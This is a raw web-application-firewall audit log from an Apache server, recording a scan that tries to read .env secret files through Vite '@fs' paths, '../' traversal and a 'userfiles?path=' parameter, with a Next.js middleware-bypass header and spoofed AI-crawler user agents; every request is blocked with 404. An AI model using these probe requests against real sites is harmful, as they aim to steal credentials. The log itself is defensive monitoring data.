Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5uwAAAEg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5uwAAAEg"]
Stopwatch: 1789287230295339 36085 (- - -)
Stopwatch2: 1789287230295339 36085; combined=33387, p1=337, p2=32940, p3=61, p4=7, p5=42, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3ca147d-Z--

--6a24c117-A--
[13/Sep/2026:11:13:50.671958 +0300] aqZbPisVWymXUono-eRUOAAAABU 34.21.80.87 37090 127.0.0.1 7081
--6a24c117-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6a24c117-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6a24c117-E--

--6a24c117-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env"] [unique_id "aqZbPisVWymXUono-eRUOAAAABU"]
Stopwatch: 1789287230665087 6923 (- - -)
Stopwatch2: 1789287230665087 6923; combined=4197, p1=191, p2=3895, p3=66, p4=7, p5=38, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a24c117-Z--

--b106851b-A--
[13/Sep/2026:11:13:50.696027 +0300] aqZbPjTJ6xTvcJoem7f5vQAAAEQ 34.21.80.87 37088 127.0.0.1 7081
--b106851b-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b106851b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b106851b-E--

--b106851b-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5vQAAAEQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5vQAAAEQ"]
Stopwatch: 1789287230662473 33617 (- - -)
Stopwatch2: 1789287230662473 33617; combined=32057, p1=326, p2=31612, p3=66, p4=8, p5=44, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b106851b-Z--

--dabd0226-A--
[13/Sep/2026:11:13:50.976466 +0300] aqZbPmM7dE9KgIIOpQhxKwAAAMQ 34.21.80.87 37120 127.0.0.1 7081
--dabd0226-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dabd0226-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dabd0226-E--

--dabd0226-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/src/.env"] [unique_id "aqZbPmM7dE9KgIIOpQhxKwAAAMQ"]
Stopwatch: 1789287230970045 6485 (- - -)
Stopwatch2: 1789287230970045 6485; combined=5293, p1=225, p2=4939, p3=75, p4=8, p5=46, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dabd0226-Z--

--1027512a-A--
[13/Sep/2026:11:13:50.983898 +0300] aqZbPisVWymXUono-eRUOQAAAAs 34.21.80.87 37130 127.0.0.1 7081
--1027512a-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1027512a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--1027512a-E--

--1027512a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPisVWymXUono-eRUOQAAAAs"]
Stopwatch: 1789287230979276 4673 (- - -)
Stopwatch2: 1789287230979276 4673; combined=3442, p1=276, p2=2923, p3=198, p4=8, p5=37, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1027512a-Z--

--5eeee666-A--
[13/Sep/2026:11:13:51.038392 +0300] aqZbP0wu1RSkptiiNIX2nAAAAI4 34.21.80.87 37142 127.0.0.1 7081
--5eeee666-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5eeee666-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5eeee666-E--

--5eeee666-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbP0wu1RSkptiiNIX2nAAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbP0wu1RSkptiiNIX2nAAAAI4"]
Stopwatch: 1789287231003922 34537 (- - -)
Stopwatch2: 1789287231003922 34537; combined=33125, p1=232, p2=32741, p3=83, p4=10, p5=59, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5eeee666-Z--

--f80ab843-A--
[13/Sep/2026:11:13:51.073077 +0300] aqZbP2M7dE9KgIIOpQhxLAAAAMM 34.21.80.87 37146 127.0.0.1 7081
--f80ab843-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f80ab843-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f80ab843-E--

--f80ab843-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbP2M7dE9KgIIOpQhxLAAAAMM"]
Stopwatch: 1789287231067960 5181 (- - -)
Stopwatch2: 1789287231067960 5181; combined=3728, p1=252, p2=3333, p3=88, p4=8, p5=46, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f80ab843-Z--

--8d4c796f-A--
[13/Sep/2026:11:13:51.579313 +0300] aqZbPzTJ6xTvcJoem7f5vgAAAE8 34.21.80.87 37160 127.0.0.1 7081
--8d4c796f-B--
GET /css../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8d4c796f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8d4c796f-E--

--8d4c796f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/css../.env"] [unique_id "aqZbPzTJ6xTvcJoem7f5vgAAAE8"]
Stopwatch: 1789287231573322 6051 (- - -)
Stopwatch2: 1789287231573322 6051; combined=4763, p1=230, p2=4414, p3=66, p4=8, p5=44, sr=93, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8d4c796f-Z--

--5b205f4f-A--
[13/Sep/2026:11:13:51.639982 +0300] aqZbP0wu1RSkptiiNIX2nQAAAJg 34.21.80.87 37162 127.0.0.1 7081
--5b205f4f-B--
GET /js../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5b205f4f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5b205f4f-E--

--5b205f4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/js../.env"] [unique_id "aqZbP0wu1RSkptiiNIX2nQAAAJg"]
Stopwatch: 1789287231634117 5934 (- - -)
Stopwatch2: 1789287231634117 5934; combined=4549, p1=211, p2=4229, p3=63, p4=7, p5=39, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5b205f4f-Z--

--bd62862c-A--
[13/Sep/2026:11:13:51.999486 +0300] aqZbP2M7dE9KgIIOpQhxLwAAANQ 34.21.80.87 37172 127.0.0.1 7081
--bd62862c-B--
GET /public../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--bd62862c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--bd62862c-E--

--bd62862c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public../.env"] [unique_id "aqZbP2M7dE9KgIIOpQhxLwAAANQ"]
Stopwatch: 1789287231992331 7241 (- - -)
Stopwatch2: 1789287231992331 7241; combined=5145, p1=363, p2=4653, p3=72, p4=8, p5=48, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd62862c-Z--

--40b7cf66-A--
[13/Sep/2026:11:13:52.251117 +0300] aqZbQDTJ6xTvcJoem7f5vwAAAEk 34.21.80.87 37192 127.0.0.1 7081
--40b7cf66-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--40b7cf66-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--40b7cf66-E--

--40b7cf66-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQDTJ6xTvcJoem7f5vwAAAEk"]
Stopwatch: 1789287232245178 5999 (- - -)
Stopwatch2: 1789287232245178 5999; combined=4660, p1=290, p2=4249, p3=62, p4=9, p5=50, sr=138, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--40b7cf66-Z--

--ed68696b-A--
[13/Sep/2026:11:13:52.251924 +0300] aqZbQDTJ6xTvcJoem7f5wAAAAFQ 34.21.80.87 37196 127.0.0.1 7081
--ed68696b-B--
GET /dist../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ed68696b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ed68696b-E--

--ed68696b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dist../.env"] [unique_id "aqZbQDTJ6xTvcJoem7f5wAAAAFQ"]
Stopwatch: 1789287232245894 6099 (- - -)
Stopwatch2: 1789287232245894 6099; combined=4494, p1=141, p2=4197, p3=83, p4=9, p5=64, sr=64, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ed68696b-Z--

--179ff854-A--
[13/Sep/2026:11:13:52.430282 +0300] aqZbQDTJ6xTvcJoem7f5wQAAAFU 34.21.80.87 37212 127.0.0.1 7081
--179ff854-B--
GET /build../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--179ff854-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--179ff854-E--

--179ff854-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/build../.env"] [unique_id "aqZbQDTJ6xTvcJoem7f5wQAAAFU"]
Stopwatch: 1789287232424000 6345 (- - -)
Stopwatch2: 1789287232424000 6345; combined=4894, p1=371, p2=4396, p3=71, p4=7, p5=49, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--179ff854-Z--

--0c108a53-A--
[13/Sep/2026:11:13:52.465853 +0300] aqZbQGM7dE9KgIIOpQhxMAAAAMA 34.21.80.87 37224 127.0.0.1 7081
--0c108a53-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0c108a53-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--0c108a53-E--

--0c108a53-H--
